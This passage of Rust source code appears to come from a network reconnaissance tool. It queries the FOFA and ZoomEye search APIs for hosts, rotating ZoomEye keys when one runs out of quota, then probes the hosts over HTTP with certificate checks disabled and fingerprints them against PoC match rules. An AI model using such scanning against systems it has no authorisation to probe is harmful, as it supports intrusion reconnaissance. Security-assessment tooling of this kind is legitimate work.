90 | pub fn fofa_auth(fofa_email:&str,fofa_key:&str,fofa_timeout:Duration,fofa_delay:Duration)->bool {
91 | let cli = unverify_client(fofa_timeout);
92 | let auth_url = format!("https://fofa.info/api/v1/info/my?email={}&key={}",fofa_email,fofa_key);
93 | let mut auth_true = false;
94 | let mut err_msg = "[!] Fofa authentication max retries failed".to_string();
95 | for _ in 0..3 {
96 | let req_builder = cli.get(&auth_url).header("User-Agent", USER_AGENT);
97 | match http_req(req_builder) {
98 | Ok(content) => {
99 | if content.contains("\"email\"") && content.contains("\"username\"") {
100 | auth_true = true
101 | } else {
102 | match serde_json::from_str::(&content){
103 | Ok(v) => {
104 | let mut info ="unknown error";
105 | if let Some(info_tmp) = v.get("errmsg") {
106 | if let Some(info_tmp) = info_tmp.as_str(){
107 | info = info_tmp;
108 | }
109 | };
110 | err_msg = format!("[!] Fofa authentication error: {}",info);
111 | },
112 | Err(e) => {
113 | err_msg = format!("[!] Fofa authentication response is not json data: {}",e);
114 | }
115 | };
116 | }
117 | break;
118 | },
119 | Err(_) => {
120 | std::thread::sleep(fofa_delay);
121 | }
122 | }
123 | }
124 | if !auth_true {
125 | println!("{}",err_msg);
126 | }
127 | return auth_true
128 | }
129 |
130 | #[derive(Debug,Clone,Copy)]
131 | pub enum PassiveMod {
132 | Query,
133 | Recovery
134 | }
135 |
136 | pub fn fofa_search(run_mod:PassiveMod,searchs:Arc>,fofa_sender:SyncSender,fofa_email:String,fofa_key:String,per_page_size:u16,fofa_timeout:Duration,passive_retries:u8,fofa_retry_delay:Duration,fofa_delay:Duration,auto_web_filter:bool) {
137 | let query = match run_mod {
138 | PassiveMod::Query => true,
139 | PassiveMod::Recovery => false
140 | };
141 | let mut to_the_end = 10000;
142 | let mut start_page = 1;
143 |
144 | let query_matcher = QueryMatcher::new();
145 | let cli = unverify_client(fofa_timeout);
146 | let auth_true = fofa_auth(&fofa_email, &fofa_key,fofa_timeout,fofa_delay);
147 | for search in searchs.iter() {
148 | let (qbase64,ss) = if query {
149 | if query_matcher.is_zoomeye(search) {
150 | //println!("{} is zoomeye",s); //////////////////////
151 | if !query_matcher.is_fofa(search) {
152 | continue;
153 | }
154 | }
155 | //search string
156 | let ss = if query_matcher.is_ip(search) {
157 | format!("ip=\"{}\"",search)
158 | } else if query_matcher.is_cidr(search) {
159 | if auto_web_filter {
160 | format!("ip=\"{}\" && (protocol==\"http\" || protocol==\"https\")",search)
161 | } else {
162 | format!("ip=\"{}\"",search)
163 | }
164 | } else if query_matcher.is_domain(search) {
165 | format!("domain=\"{}\" || cert=\"{}\"",search,search)
166 | } else {
167 | search.to_string()
168 | };
169 | (base64::encode(ss.as_bytes()),ss)
170 | //format!("https://fofa.info/api/v1/search/all?email={}&key={}&size={}&qbase64={}&fields=ip,host,title,port,protocol",fofa_email,fofa_key,per_page_size,urlencoding::encode(&qbase64))
171 | } else {
172 | if !search.contains("https://fofa.info/") {
173 | continue;
174 | } else if search.starts_with(ERROR_PAGE) {
175 | //to_the_end = false;
176 | let tmp = &search.as_str()[ERROR_PAGE.len()..]; //https://fofa.info/api......
177 | let tmp = tmp.split(" ").collect::>();
178 | if search.contains("contains sensitive info") {
179 | let old_per_size = tmp[2].parse::().unwrap();
180 | let old_start_page = tmp[1].parse::().unwrap();
181 | start_page = old_start_page*old_per_size / per_page_size as u64;
182 | to_the_end = old_start_page * old_per_size + old_per_size;
183 | } else {
184 | start_page = tmp[0].parse::().unwrap()
185 | };
186 | let tmp = tmp[0]; //url
187 | let tmp = tmp.split("&page=").collect::>();
188 | //start_page = tmp[1].parse().unwrap(); //page
189 | let tmp = tmp[0].split("&qbase64=").collect::>()[1]; //query
190 | let qbase64 = urlencoding::decode(tmp).unwrap();
191 | let ss = String::from_utf8(base64::decode(&qbase64).unwrap()).unwrap();
192 | (qbase64,ss)
193 | } else if search.starts_with(BREAK_PAGE) {
194 | let tmp = &search.as_str()[BREAK_PAGE.len()..]; //https://fofa.info/api......
195 | let tmp = tmp.split(" ").collect::>()[0]; //url
196 | let tmp = tmp.split("&page=").collect::>();
197 | start_page = tmp[1].parse().unwrap(); //page
198 | let tmp = tmp[0].split("&qbase64=").collect::>()[1]; //query
199 | let qbase64 = urlencoding::decode(tmp).unwrap();
200 | let ss = String::from_utf8(base64::decode(&qbase64).unwrap()).unwrap();
201 | (qbase64,ss)
202 | } else {
203 | continue;
204 | }
205 | };
206 | println!("[-] Fofa searching {} ...",ss);
207 | let mut page_step = 0;
208 | loop {
209 | let page = start_page + page_step;
210 | let url = format!("https://fofa.info/api/v1/search/all?email={}&key={}&size={}&fields=ip,host,title,port,protocol&qbase64={}&page={}",fofa_email,fofa_key,per_page_size,urlencoding::encode(&qbase64),page); //format!("{}&page={}",qurl,page);
211 | //println!("{}",url); ///////////////////////////////////////////////////////////////
212 | if !auth_true {
213 | fofa_sender.send(Message::Content(Box::new(
214 | OtherRecord::new(OtherRecordInfo::BreakPage(format!("{} {} fofa auth failed",url,page)))
215 | ))).unwrap();
216 | break;
217 | }
218 | match retry_get(&cli, &url, None, passive_retries, fofa_retry_delay) {
219 | Some(content) => {
220 | if let Ok(mut rst) = serde_json::from_str::(&content) {
221 | if page == start_page {
222 | println!("[-] Fofa search {} total results {}",ss,rst.size);
223 | if rst.size == 0 {
224 | fofa_sender.send(Message::Content(Box::new(OtherRecord::new(OtherRecordInfo::FofaNoResult(ss))))).unwrap();
225 | break;
226 | }
227 | }
228 | if rst.size > 0 && rst.results.len() == 0 {
229 | println!("[!] Fofa search {} page {} contains sensitive keyword!", ss, page);
230 | fofa_sender.send(Message::Content(Box::new(OtherRecord::new(OtherRecordInfo::ErrorPage(format!("{} {} {} contains sensitive info",url,page,per_page_size)))))).unwrap();
231 | }
232 | for _ in 0..rst.results.len() {
233 | //["198.57.247.198", "https://gator3234.hostgator.com:2087", "WHM 登录", "2087", ""]
234 | let mut r = rst.results.pop().unwrap();
235 | //println!("{:?}",r);
236 | //break;
237 | let mut protocol = r.pop().unwrap();
238 | let port = r.pop().unwrap().parse::().unwrap_or_else(|_|{0});
239 | if port == 0 {
240 | continue;
241 | }
242 | let title = r.pop().unwrap();
243 | let host = r.pop().unwrap();
244 | if host.starts_with("http://") {
245 | protocol = "http".to_string();
246 | } else if host.starts_with("https://"){
247 | protocol = "https".to_string();
248 | }
249 | if protocol == "" {
250 | protocol = "http".to_string();
251 | }
252 | let hosts = host.split(":").collect::>();
253 | let host = if hosts.len() == 1 {
254 | hosts[0].to_string()
255 | } else if hosts.len() == 2{ // https://xxxx.com
256 | if hosts[1].starts_with("/") {
257 | hosts[1].replace("//", "")
258 | } else {
259 | hosts[0].to_string()
260 | }
261 | }else { //https://xxx.com:8080
262 | hosts[1].replace("//", "")
263 | };
264 | //println!("{}",host);/////////////////////////////
265 | let ip = r.pop().unwrap();
266 | fofa_sender.send(Message::Content(Box::new(PassiveRecord{
267 | title,
268 | host,
269 | ip,
270 | port,
271 | protocol,
272 | cert_domains: None
273 | }))).unwrap();
274 | }
275 | if (per_page_size as u64) * page >= rst.size || per_page_size as u64 * page == to_the_end {
276 | break;
277 | }
278 | } else if let Ok(fe) = serde_json::from_str::(&content) {
279 | //println!("{:?}",fe.errmsg);
280 | println!("[!] Fofa search {} page {} error: {}", ss, page, fe.errmsg);
281 | fofa_sender.send(Message::Content(Box::new(
282 | OtherRecord::new(OtherRecordInfo::BreakPage(format!("{} {} fofa search error: {}",url,page,fe.errmsg)))
283 | ))).unwrap();
284 | break;
285 | } else {
286 | println!("[!] Fofa search {} page {} unknown error ", ss, page);
287 | fofa_sender.send(Message::Content(Box::new(
288 | OtherRecord::new(OtherRecordInfo::BreakPage(format!("{} {} fofa unknown error, content: {}",url,page,content)))
289 | ))).unwrap();
290 | break;
291 | }
292 | },
293 | None => {
294 | println!("[!] Fofa search {} page {} max retries", ss, page);
295 | if page == start_page {
296 | fofa_sender.send(Message::Content(Box::new(
297 | OtherRecord::new(OtherRecordInfo::BreakPage(format!("{} {} start page max retries",url,page)))
298 | ))).unwrap();
299 | break;
300 | } else {
301 | fofa_sender.send(Message::Content(Box::new(
302 | OtherRecord::new(OtherRecordInfo::ErrorPage(format!("{} {} max retries",url,page)))
303 | ))).unwrap();
304 | };
305 | }
306 | };
307 | page_step += 1;
308 | std::thread::sleep(fofa_delay);
309 | }
310 | }
311 | }
312 |
313 | pub fn retry_get(cli:&Client,url:&str,headers:Option>,retries:u8,retry_delay:Duration)->Option {
314 | let mut req_builder = cli.get(url).header("User-Agent", USER_AGENT);
315 | if let Some(headers) = headers {
316 | for h in headers.iter() {
317 | req_builder = req_builder.header(h.0, h.1)
318 | }
319 | }
320 | for _ in 0..=retries {
321 | if let Ok(content) = http_req(req_builder.try_clone().unwrap()) {
322 | return Some(content);
323 | }
324 | std::thread::sleep(retry_delay);
325 | }
326 | return None;
327 | }
328 |
329 | pub fn zoomeye_search(run_mod:PassiveMod,searchs:Arc>,zoomeye_sender:SyncSender,mut zoomeye_keys:Vec,zoomeye_timeout:Duration,passive_retries:u8,zoomeye_delay:Duration,auto_web_filter:bool) {
330 | let query = match run_mod {
331 | PassiveMod::Query => true,
332 | PassiveMod::Recovery => false
333 | };
334 | let mut to_the_end = true;
335 | let mut start_page = 1;
336 |
337 | //let title_regex = Regex::new("<(?:title|TITLE)>(.*?)(?:title|TITLE)>").unwrap();
338 | let cert_domains_regex = Regex::new("Subject Alternative Name:\n.*?DNS:(.*)?\n").unwrap();
339 | //let domain = Regex::new("Subject:.*?CN=(.*)?\n").unwrap(); //匹配结果有可能是这样的www.baidu.com,emailAddress=sa@ag866.com
340 | let query_matcher = QueryMatcher::new();
341 | let cli = unverify_client(zoomeye_timeout);
342 | let mut current_key = zoomeye_keys.pop().unwrap();
343 | let mut key_invalid = false;
344 | //zoomeye_key_resources(¤t_key,zoomeye_timeout,passive_retries,zoomeye_delay);
345 | for search in searchs.iter() {
346 | let (query_encoded,ss) = if query {
347 | if query_matcher.is_fofa(search) {
348 | //println!("{} is fofa",s); //////////////////////
349 | if !query_matcher.is_zoomeye(search) {
350 | continue;
351 | }
352 | }
353 | let ss = if query_matcher.is_ip(search) {
354 | format!("ip:\"{}\"",search)
355 | } else if query_matcher.is_cidr(search) {
356 | if auto_web_filter {
357 | format!("cidr:\"{}\"+(service:\"https\" service:\"http\")",search)
358 | } else {
359 | format!("cidr:\"{}\"",search)
360 | }
361 | } else if query_matcher.is_domain(search) {
362 | format!("site:\"{}\" ssl:\"{}\" hostname:\"{}\"",search,search,search)
363 | } else {
364 | search.to_string()
365 | };
366 | (urlencoding::encode(&ss),ss)
367 | //format!("https://api.zoomeye.org/host/search?query={}",)
368 | } else {
369 | if !search.contains("https://api.zoomeye.org/") {
370 | continue;
371 | } else if search.starts_with(ERROR_PAGE) {
372 | to_the_end = false;
373 | let tmp = &search.as_str()[ERROR_PAGE.len()..];
374 | let tmp = tmp.split(" ").collect::>()[0]; //url
375 | let tmp = tmp.split("&page=").collect::>();
376 | start_page = tmp[1].parse().unwrap(); //page
377 | let tmp = tmp[0].split("?query=").collect::>()[1]; //query
378 | let ss = urlencoding::decode(tmp).unwrap();
379 | (tmp.to_string(),ss)
380 | } else if search.starts_with(BREAK_PAGE) {
381 | to_the_end = true;
382 | let tmp = &search.as_str()[BREAK_PAGE.len()..];
383 | let tmp = tmp.split(" ").collect::>()[0]; //url
384 | let tmp = tmp.split("&page=").collect::>();
385 | start_page = tmp[1].parse().unwrap(); //page
386 | let tmp = tmp[0].split("?query=").collect::>()[1]; //query
387 | let ss = urlencoding::decode(tmp).unwrap();
388 | (tmp.to_string(),ss)
389 | } else {
390 | continue;
391 | }
392 | };
393 | println!("[-] Zoomeye searching {} ...",ss);
394 | let mut page_step = 0;
395 | let mut per_page_size = 0;
396 | let mut total:u64 = 0;
397 | let mut start_page_retries = 0;
398 | loop {
399 | let page = start_page + page_step;
400 | let url = format!("https://api.zoomeye.org/host/search?query={}&page={}",query_encoded,page);
401 | //println!("{}",url); //////////////////////////////
402 | if zoomeye_keys.len() == 0 && key_invalid {
403 | println!("[!] Zomeye search {} got no more valid key",ss);
404 | let info = format!("{} {} no more valid zoomeye key",url,page);
405 | zoomeye_sender.send(Message::Content(Box::new(OtherRecord::new(OtherRecordInfo::BreakPage(info))))).unwrap();
406 | break;
407 | }
408 | if total > 0 && page*per_page_size >= total { //如果存在结果(说明第一页获取成功),并且页数*每页数大于等于total,说明查询完了
409 | break;
410 | }
411 | if let Some(content) = retry_get(&cli, &url,Some(vec![("API-KEY",current_key.as_str())]),passive_retries,zoomeye_delay) {
412 | match serde_json::from_str::(&content) {
413 | Ok(mut rst) => {
414 | //println!("content {}",content); //////////////////////////
415 | //println!("error: {:?}",rst.error); //////////////////////////
416 | if page == start_page {
417 | println!("[-] Zoomeye search {} total results {}",ss,rst.total);
418 | per_page_size = rst.matches.len() as u64;
419 | total = rst.total;
420 | }
421 | if rst.matches.len() == 0 && rst.error.is_some() {
422 | let err = rst.error.unwrap();
423 | if err == "This page does not exist" { //正常查询到结尾... 其实这里是没有必要的,因为前面有total > 0 && page*per_page_size >= total的判断。
424 | break;
425 | }
426 | //未知错误
427 | println!("[!] Zoomeye search {} got error {}",ss,err);
428 | let info = format!("{} {} got error {}",url,page,err);
429 | zoomeye_sender.send(Message::Content(Box::new(OtherRecord::new(OtherRecordInfo::BreakPage(info))))).unwrap();
430 | break;
431 | }
432 | if rst.matches.len() == 0 && rst.total > 0 {
433 | //key 没有额度了,重新获取额度,page不变
434 | key_invalid = true;
435 | println!("[!] Zoomeye key {} got no more quota!",current_key);
436 | if let Some(key) = zoomeye_keys.pop() {
437 | current_key = key;
438 | key_invalid = false;
439 | //zoomeye_key_resources(¤t_key,zoomeye_timeout,passive_retries,zoomeye_delay);
440 | }
441 | continue;
442 | }
443 | if page == start_page && rst.total == 0 {
444 | zoomeye_sender.send(Message::Content(Box::new(OtherRecord::new(OtherRecordInfo::ZoomeyeNoResult(ss))))).unwrap();
445 | break;
446 | }
447 | page_step += 1;
448 | //break;
449 | for v in rst.matches.iter_mut() {
450 | let ip = v.get("ip").unwrap().as_str().unwrap().to_string();
451 | let host = ip.clone();
452 | let value = v.get_mut("portinfo").unwrap().take();
453 | let (port,protocol,title) = match serde_json::from_value::(value) {
454 | Ok(portinfo) => {
455 | match portinfo {
456 | ZoomeyePortInfo::IntPort{port,service,title} => {
457 | let title = if let Some(title) = title {
458 | title.join("")
459 | } else { "".to_string() };
460 | (port,service,title)
461 | },
462 | ZoomeyePortInfo::StrPort{port,service,title} => {
463 | let title = if let Some(title) = title {
464 | title.join("")
465 | } else { "".to_string() };
466 | (port.parse::().unwrap_or_else(|_|{0}),service,title)
467 | }
468 | }
469 | },
470 | Err(_) => {
471 | (0,format!("zoomeye freak \"protinfo\" result, at {}:\n{}",ip,content),"".to_string())
472 | }
473 | };
474 | if port == 0 {
475 | continue;
476 | }
477 | let mut cert_domains = Vec::new();
478 | if let Some(ssl) = v.get("ssl") {
479 | let ssl = ssl.as_str().unwrap();
480 | if let Some(caps) = cert_domains_regex.captures(ssl) {
481 | if let Some(m) = caps.get(1) {
482 | let domains = m.as_str().split(", DNS:").collect::>();
483 | for d in domains {
484 | cert_domains.push(d.to_string());
485 | }
486 | };
487 | }
488 | /* //证书中的CN 不一定是域名
489 | if let Some(caps) = domain.captures(ssl) {
490 | if let Some(m) = caps.get(1) {
491 | let tmp = m.as_str().split(",").collect::>()[0];
492 | if query_matcher.is_domain(tmp) {
493 | host = tmp.to_string();
494 | };
495 | };
496 | }
497 | */
498 | }
499 | let cert_domains = if cert_domains.len() > 0 { Some(cert_domains) } else { None };
500 | let record = PassiveRecord {
501 | title,
502 | host,
503 | ip,
504 | port,
505 | protocol,
506 | cert_domains
507 | };
508 | //println!("{:?}",record); //////////
509 | zoomeye_sender.send(Message::Content(Box::new(record))).unwrap();
510 | }
511 | if !to_the_end {
512 | break;
513 | }
514 | },
515 | Err(_) => {
516 | //不能正常解析为结果,说明key是错误的!,page不变
517 | //修改current_key
518 | //println!("content {}",content);
519 | key_invalid = true;
520 | println!("[!] Zoomeye key {} is invalid",current_key);
521 | if let Some(key) = zoomeye_keys.pop() {
522 | current_key = key;
523 | key_invalid = false;
524 | //zoomeye_key_resources(¤t_key,zoomeye_timeout,passive_retries,zoomeye_delay);
525 | }
526 | continue;
527 | }
528 | }
529 | } else {
530 | if page == start_page { //如果是起始页,则重试3次
531 | start_page_retries += 1;
532 | }
533 | println!("[!] Zoomeye search {} page {} max retries", ss, page);
534 | if start_page_retries == 3 { //起始页重试3次失败,break
535 | let info = format!("{} {} start page max retries",url,page);
536 | zoomeye_sender.send(Message::Content(Box::new(OtherRecord::new(OtherRecordInfo::BreakPage(info))))).unwrap();
537 | break;
538 | }
539 | if page != 1 { //如果是其它页,则page+1
540 | page_step += 1;
541 | let info = format!("{} {} max retries",url,page);
542 | zoomeye_sender.send(Message::Content(Box::new(OtherRecord::new(OtherRecordInfo::ErrorPage(info))))).unwrap();
543 | }
544 | }
545 | std::thread::sleep(zoomeye_delay);
546 | }
547 | }
548 | }
549 |
550 | #[derive(Deserialize,Debug)]
551 | pub struct Resources {
552 | pub search: u64,
553 | pub stats: u64,
554 | pub interval: String
555 | }
556 |
557 | #[derive(Deserialize,Debug)]
558 | pub struct UserInfo {
559 | pub name: String,
560 | pub role: String,
561 | pub expired_at: String
562 | }
563 |
564 | #[derive(Deserialize,Debug)]
565 | pub struct QuotaInfo {
566 | pub remain_free_quota: u64,
567 | pub remain_pay_quota: u64,
568 | pub remain_total_quota: u64
569 | }
570 |
571 | #[derive(Deserialize,Debug)]
572 | pub struct ZoomeyeResourcesInfo {
573 | pub plan: String,
574 | pub resources: Resources,
575 | pub user_info: UserInfo,
576 | pub quota_info: QuotaInfo
577 | }
578 |
579 | #[derive(Deserialize)]
580 | pub struct ZoomeyeResult {
581 | pub total:u64,
582 | pub available:u64,
583 | pub matches: Vec,
584 | pub facets: Value,
585 | pub error: Option
586 | }
587 |
588 | #[derive(Deserialize,Debug)]
589 | pub enum ZoomeyePort {
590 | Str(String),
591 | U16(u16)
592 | }
593 |
594 | pub struct IntPortInfo {
595 | pub port: u16,
596 | pub service: String,
597 | pub title: Option>
598 | }
599 |
600 | #[derive(Deserialize,Debug)]
601 | #[serde(untagged)]
602 | pub enum ZoomeyePortInfo {
603 | IntPort{ port:u16,service:String,title:Option> },
604 | StrPort{ port:String,service:String,title:Option> },
605 | }
606 |
607 | #[derive(Deserialize)]
608 | pub struct ZoomeyeStringPortInfo {
609 | pub port: String, //zoomeye, 某些返回结果 port是string类型
610 | pub service: String,
611 | pub title: Option>
612 | }
613 |
--------------------------------------------------------------------------------
/src/detect_mod/mod.rs:
--------------------------------------------------------------------------------
1 | use std::collections::HashMap;
2 | use std::time::{Duration, Instant};
3 | use regex::{Regex,RegexBuilder};
4 | use futures::StreamExt;
5 | use futures::stream::FuturesUnordered;
6 | use serde::Deserialize;
7 | use super::RecordType;
8 | use super::http_banner::*;
9 | use super::result_struct::{Record,Data,RecordType::*};
10 | use super::ResultConfig;
11 |
12 | pub struct Detector {
13 | server_regex: Regex,
14 | icon_regex: Regex,
15 | icon_href_regex: Regex,
16 | title_regex: Regex,
17 | http_client: HttpClient,
18 | http_timeout: Duration,
19 | follow_redirect: bool,
20 | per_url_limit: u16,
21 | disable_poc: bool,
22 | pocs: Vec,
23 | favicon_hash_in_pocs: bool
24 | }
25 |
26 | #[derive(Debug,Deserialize)]
27 | pub struct Pocs {
28 | pub pocs:Vec,
29 | }
30 |
31 | #[derive(Debug,Deserialize)]
32 | pub struct Poc {
33 | pub name:String,
34 | pub level:Option, //defalut 1
35 | pub requests:Vec
36 | }
37 |
38 | #[derive(Debug,Deserialize)]
39 | pub struct PocRequest {
40 | pub path_args:Option,
41 | pub method:Option,
42 | pub headers:Option>,
43 | pub req_body:Option,
44 | pub variables_regex:Option,
45 | pub regex_dot_all:Option, //default false
46 | pub variables_group:Option>,
47 | pub rules:Option,
48 | pub delay:Option
49 | }
50 |
51 | #[derive(Debug,Deserialize)]
52 | pub struct PocRules {
53 | pub status_code:Option,
54 | pub header:Option>,
55 | pub body:Option>,
56 | pub favicon:Option,
57 | }
58 |
59 | #[derive(Debug)]
60 | enum Rules<'a> {
61 | StatusCode(u16),
62 | Header(&'a Vec),
63 | Body(&'a Vec),
64 | Favicon(i32)
65 | }
66 |
67 | struct HttpCheckRst {
68 | status_code: u16,
69 | raw_header: Vec,
70 | raw_body: Vec,
71 | cert_domains: Vec,
72 | current_url: HttpUrl
73 | }
74 |
75 | static MAX_REDIRECT_NUM:usize = 5;
76 |
77 | impl Detector {
78 | pub fn new(conf:&ResultConfig,pocs:Vec)-> Detector {
79 | let mut favicon_hash_in_pocs = false;
80 | for p in pocs.iter() {
81 | for r in p.requests.iter() {
82 | if r.rules.is_some() {
83 | if r.rules.as_ref().unwrap().favicon.is_some() {
84 | favicon_hash_in_pocs = true;
85 | }
86 | }
87 | }
88 | if favicon_hash_in_pocs {
89 | break;
90 | }
91 | }
92 | //println!("{:?}",pocs); ///////////////////////////////
93 | let server_regex = Regex::new("[Ss]erver: (.*?[a-zA-Z]+.*)?\r\n").unwrap(); //有的server是打码的 无意义
94 | let icon_regex = Regex::new("(<(?:link|LINK).*?rel=.*?icon.*?>)").unwrap();
95 | let icon_href_regex = Regex::new("href=\"?(.*?)[\" >]").unwrap();
96 | let title_regex = Regex::new("<(?:title|TITLE)>(.*?)(?:title|TITLE)>").unwrap();
97 | //let x_powered_by = Regex::new("X-Powered-By: (.*)?\r\n")?;
98 | let mut http_client = HttpClient::default();
99 | let http_timeout = Duration::from_secs(conf.http_timeout);
100 | http_client.set_http_timeout(http_timeout);
101 | return Detector {
102 | server_regex,
103 | icon_regex,
104 | icon_href_regex,
105 | title_regex,
106 | http_client,
107 | http_timeout: Duration::from_secs(conf.http_timeout),
108 | follow_redirect: conf.follow_redirect,
109 | per_url_limit: conf.per_url_limit,
110 | disable_poc: conf.disable_poc,
111 | pocs,
112 | favicon_hash_in_pocs
113 | };
114 | }
115 |
116 | async fn http_check(&self,service:&str,host:&str,port:u16)-> HttpCheckRst {
117 | let mut code = 0;
118 | let mut raw_header = Vec::new();
119 | let mut raw_body = Vec::new();
120 | let mut cert_domains = vec![];
121 | let url = format!("{}://{}:{}/",service,host,port);
122 | //let r = self.http_client.get(url);
123 | //if r.is_err() {
124 | // log::error!("{}",format!("{}://{}:{}/",service,host,port));
125 | //}
126 | //let mut req = r.unwrap();
127 | let mut req = self.http_client.get(url).unwrap();
128 | let mut next_url:Option = None;
129 | let start = Instant::now();
130 | for _ in 0..MAX_REDIRECT_NUM {
131 | //println!("{}",String::from_utf8_lossy(&body));
132 | if next_url.is_some() {
133 | let n_url = next_url.as_ref().unwrap();
134 | if let Ok(tmp) = self.http_client.get(n_url.as_str().to_string()) {
135 | req = tmp;
136 | } else {
137 | break;
138 | }
139 | }
140 | let rst = req.send().await;
141 | if let Ok(rst) = rst {
142 | code = rst.status_code;
143 | raw_header = rst.raw_header;
144 | raw_body = rst.raw_body;
145 | if cert_domains.len() == 0 && rst.cert.is_some() {
146 | if let Ok(tmp) = cert_parser(rst.cert.unwrap()) {
147 | cert_domains = tmp;
148 | };
149 | }
150 | if self.follow_redirect && (300..400).contains(&rst.status_code) {
151 | if let Some(u) = rst.location {
152 | if u.starts_with("/") {
153 | next_url = Some(format!("{}://{}:{}{}",req.url.scheme(),req.url.host(),req.url.port(),u));
154 | } else if u.starts_with("http:") || u.starts_with("https:") {
155 | next_url = Some(u);
156 | } else {
157 | next_url = Some(format!("{}{}",req.url.url_with_path(),u));
158 | }
159 | } else {
160 | break;
161 | }
162 | } else {
163 | break;
164 | }
165 | } else {
166 | break;
167 | }
168 | let used = Instant::now() - start;
169 | if used >= self.http_timeout {
170 | break;
171 | }
172 | }
173 | let current_url = req.url;
174 | return HttpCheckRst { status_code:code,raw_header,raw_body,current_url,cert_domains }; //end with /
175 | }
176 |
177 | pub async fn detect(&self,mut record:Box) -> Option {
178 | if record.record_type() == Other {
179 | return None;
180 | }
181 | let cert_domains = record.cert_domains().unwrap_or_else(||{vec![]});
182 | let mut data = Data { //初始化data, host/ip/port
183 | title: record.title().trim().to_string(),
184 | host: record.host().to_string(),
185 | ip: record.ip().to_string(),
186 | port: record.port(),
187 | protocol: record.protocol().to_string(),
188 | url: None,
189 | infos: vec![],
190 | status_code: 0,
191 | cert_domains,
192 | is_assets: false,
193 | favicon: None,
194 | level:0
195 | };
196 | let mut root_header_cache = Vec::new();
197 | let mut root_body_cache = Vec::new();
198 | let mut current_url_path = None;
199 |
200 | //先处理Active记录
201 | //let root_req = fmt_req(&data.host,data.port,"GET", "/", Vec::new(), None);
202 | if record.record_type() == RecordType::Active {
203 | //如果是主动扫描结果,尝试将端口视为https http协议处理
204 | if data.port == 80 || data.port != 443 {
205 | let check_rst = self.http_check("http", &data.host, data.port).await;
206 | if check_rst.status_code > 0 {
207 | data.protocol = "http".to_string();
208 | data.url = Some(format!("http://{}:{}",data.host,data.port));
209 | data.status_code = check_rst.status_code;
210 | root_header_cache = check_rst.raw_header;
211 | root_body_cache = check_rst.raw_body;
212 | current_url_path = Some(check_rst.current_url);
213 | } else if data.port == 80 {
214 | data.protocol = "http".to_string();
215 | data.url = Some(format!("http://{}:{}",data.host,data.port));
216 | }
217 | }
218 | if data.port != 80 && data.protocol == "" {
219 | let mut check_rst = self.http_check("https", &data.host, data.port).await;
220 | if check_rst.status_code > 0 {
221 | data.protocol = "https".to_string();
222 | data.url = Some(format!("https://{}:{}",data.host,data.port));
223 | data.status_code = check_rst.status_code;
224 | root_header_cache = check_rst.raw_header;
225 | root_body_cache = check_rst.raw_body;
226 | current_url_path = Some(check_rst.current_url);
227 | data.cert_domains.append(&mut check_rst.cert_domains);
228 | } else if data.port == 443 {
229 | data.protocol = "https".to_string();
230 | data.url = Some(format!("https://{}:{}",data.host,data.port));
231 | }
232 | }
233 | } else {
234 | if data.protocol == "http" || data.protocol == "https" {
235 | data.url = Some(format!("{}://{}:{}",data.protocol,data.host,data.port));
236 | let mut check_rst = self.http_check(&data.protocol, &data.host, data.port).await;
237 | if check_rst.status_code > 0 {
238 | data.status_code = check_rst.status_code;
239 | root_header_cache = check_rst.raw_header;
240 | root_body_cache = check_rst.raw_body;
241 | current_url_path = Some(check_rst.current_url);
242 | data.cert_domains.append(&mut check_rst.cert_domains);
243 | }
244 | }
245 | }
246 |
247 | let mut infos = Vec::new();
248 | let mut level = 0;
249 | if data.status_code > 0 {
250 | //println!("{:?}",current_url_path);
251 | //如果发生了重定向,url就不是根了,从重定向后的页面获取favicon地址,如果是../开头的相对地址,就需要当前url来定位favicon地址
252 | //如果前面http请求成功了,再继续
253 | let root_header_tmp = String::from_utf8_lossy(&root_header_cache);
254 | let root_body_tmp = String::from_utf8_lossy(&root_body_cache);
255 | let root_url = data.url.as_ref().unwrap();
256 | let root_header = root_header_tmp.as_ref();
257 | let root_body = root_body_tmp.as_ref();
258 | //println!("{}",root_header); /////////////////
259 | //println!("{}",root_body); /////////////////
260 | if let Some(caps) = self.server_regex.captures(&root_header) {
261 | if let Some(m) = caps.get(1) {
262 | let ser = m.as_str();
263 | let server = if ser.len() > 500 {
264 | ["honeypot server? ",&ser[0..30],"..."].join("")
265 | } else if ser.len() > 100 {
266 | [&ser[0..30],"..."].join("")
267 | } else {
268 | ser.to_string()
269 | };
270 | infos.push(server);
271 | };
272 | };
273 | if let Some(caps) = self.title_regex.captures(&root_body) {
274 | if let Some(m) = caps.get(1) {
275 | let new_title = m.as_str().trim();
276 | if !data.title.contains(new_title){
277 | data.title += new_title
278 | }
279 | };
280 | };
281 | if !self.disable_poc { //如果开启了poc模块
282 | let mut favicon_hash = None;
283 | /*
284 | favicon hash 的代码逻辑。favicon_hash 是提取首页中的favicon链接计算。不会为每个不同的poc http请求结果提取计算。
285 | 所以,无论poc是怎样的,只要匹配favicon,那匹配的就是首页提取的favico hash,不支持指定favicon地址匹配。如:
286 | {
287 | "name":"xxx",
288 | "path":"/xxx/xxx/favicon",
289 | "rules":{
290 | "favicon": 1013918534
291 | }
292 | }
293 | 这样的poc是无效的。
294 | */
295 | //println!("{}",root_body);///////////////////////////////
296 | if self.favicon_hash_in_pocs {
297 | let mut favicon_url = None;
298 | if let Some(caps) = self.icon_regex.captures(&root_body) {
299 | //println!("icon caped"); ///////////////////////////////
300 | if let Some(m) = caps.get(1) {
301 | let icon_html = m.as_str();
302 | //println!("favicon html {}",icon_html); //////////////////////////
303 | if let Some(caps) = self.icon_href_regex.captures(icon_html) {
304 | if let Some(m) = caps.get(1) {
305 | let tmp = m.as_str();
306 | if tmp.starts_with("http://") || tmp.starts_with("https://") {
307 | favicon_url = Some(tmp.to_string());
308 | } else if tmp.starts_with("/") {
309 | favicon_url = Some(root_url.to_string() + tmp)
310 | } else { //否则就是../ ./ xxx/favicon.ico 这样的格式
311 | let current_url = current_url_path.unwrap();
312 | favicon_url = Some(format!("{}{}",current_url.url_with_path(),tmp));
313 | }
314 | }
315 | }
316 | };
317 | };
318 | if favicon_url.is_none() { //如果favicon url没解析出来,则使用默认地址
319 | favicon_url = Some(root_url.to_string()+"/favicon.ico");
320 | } else {
321 | if favicon_url.as_ref().unwrap().ends_with(".svg") {
322 | favicon_url = None;
323 | }
324 | };
325 | //计算favicon hash!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
326 | /////println!("favicon url {:?}",favicon_url);
327 | if favicon_url.is_some() {
328 | favicon_hash = http_favicon_hash(favicon_url.unwrap(),self.http_timeout).await;
329 | data.favicon = favicon_hash;
330 | }
331 | }
332 | let mut ftrs = FuturesUnordered::new();
